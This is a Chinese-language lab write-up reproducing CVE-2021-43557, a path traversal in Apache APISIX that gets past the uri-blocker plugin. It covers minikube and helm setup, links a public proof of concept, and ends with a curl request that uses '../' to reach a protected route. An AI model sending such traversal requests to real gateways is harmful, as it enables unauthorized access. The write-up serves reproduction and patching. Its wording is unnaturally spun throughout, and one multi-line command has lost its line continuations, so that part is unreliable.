破绽描绘

假如在 ApiSix 中运用错误的办法完成 request_uri 变量，则会触发Apache ApiSix Request Uri目录穿越破绽（CVE-2021-43557）。

为什么选择研讨这个变量？由于这个变量固然用于认证，但是关于它的运用没有任何官方标准，所以有些插件完成的过程中可能呈现破绽。uri-blocker就是作者发现的其中一个可能会引发此破绽的组件。
 

---

 

影响版本

Apache APISIX 2.10.2 之前的一切版本（不包含 2.10.2）
 

---

 

破绽环境搭建

环境准备

Ubuntu 18.04
APISIX 2.10.0
P.S. 一定不要以root身份运转minikube，会招致拉起docker失败
 

装置 Docker

参考
http://lovebear.top/2020/04/07/Kubernetes_And_Docker_Install/
中装置 Docker的局部
 

装置 minikube

1. 装置 kubectl

curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl

chmod +x ./kubectl && sudo mv ./kubectl /usr/local/bin/kubectl

2. 装置 virtualbox

sudo apt install virtualbox virtualbox-ext-pack

3. 装置 minikube

curl -Lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64

  && chmod +x minikube



sudo mkdir -p /usr/local/bin/

sudo install minikube /usr/local/bin/

4. 启动
当前用户添加docker组

sudo usermod -aG docker $USER && newgrp docker

minikube start --driver=docker

P.S. 假如报错 machine does not exist，执行

minikube delete

清算本地状态后再start，能够看到status都是running，证明没问题

kubectl get pods --all-namespaces

装置 helm

wget https://get.helm.sh/helm-v3.3.4-linux-amd64.tar.gz

tar zxvf helm-v3.3.4-linux-amd64.tar.gz

mv linux-amd64/helm /usr/local/bin/helm



helm version

装置 ApiSix

helm repo add apisix https://charts.apiseven.com

helm repo add bitnami https://charts.bitnami.com/bitnami

helm repo update

kubectl create ns ingress-apisix

helm install apisix apisix/apisix 

  --set gateway.type=NodePort 

  --set ingress-controller.enabled=true 

  --namespace ingress-apisix 

  --version 0.7.2

kubectl get service --namespace ingress-apisix

查看pod状态

kubectl get pods --all-namespaces

都是running就能够了（需求耐烦等候一段时间，不要焦急）

假如没起来，能够看报错，处理计划自查

journalctl -f -u kubelet

 

---

 

破绽复现

部署应用

1. 下载Poc

https://github.com/xvnpw/k8s-CVE-2021-43557-poc

2. 部署

kubectl apply -f app.yaml

kubectl apply -f routes.yaml

复现

P.S. poc中的namespace和pod name依据本人的环境修正掉

1. 访问public页面，200

kubectl exec -it -n ingress-apisix apisix-dc9d99d76-2577p -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

2. 访问protect页面，403

kubectl exec -it -n ingress-apisix apisix-dc9d99d76-2577p -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'

3. 绕过403访问protect页面

kubectl exec -it -n ingress-apisix apisix-dc9d99d76-2577p -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'

胜利绕过！

 

参考链接

https://xvnpw.github.io/posts/cve_2021_43557_apache_apisix_path_traversal_in_request_uri_variable/
https://github.com/xvnpw/k8s-CVE-2021-43557-poc
https://blog.csdn.net/fly_leopard/article/details/108790217
https://blog.csdn.net/qq_18757813/article/details/109323326
http://lovebear.top/2020/04/07/Kubernetes_And_Docker_Install/

 

---

 

处理计划

Apache APISIX 官网：https://apisix.apache.org/

该问标题前已在 2.10.2+ 版本中得到处理，请尽快更新至相关版本[1]。

操作倡议：假如在运用自定义插件时，可在运用 ngx.var.request_uri 变量行进行途径标准化的相关处置。同时额外检查下 ctx.var.upstream_uri 和

ctx.var.uri 这两个变量，固然可能曾经被标准化了，但防患于已然。

 

------本页内容已结束，喜欢请分享------

感谢您的来访，获取更多精彩文章请收藏本站。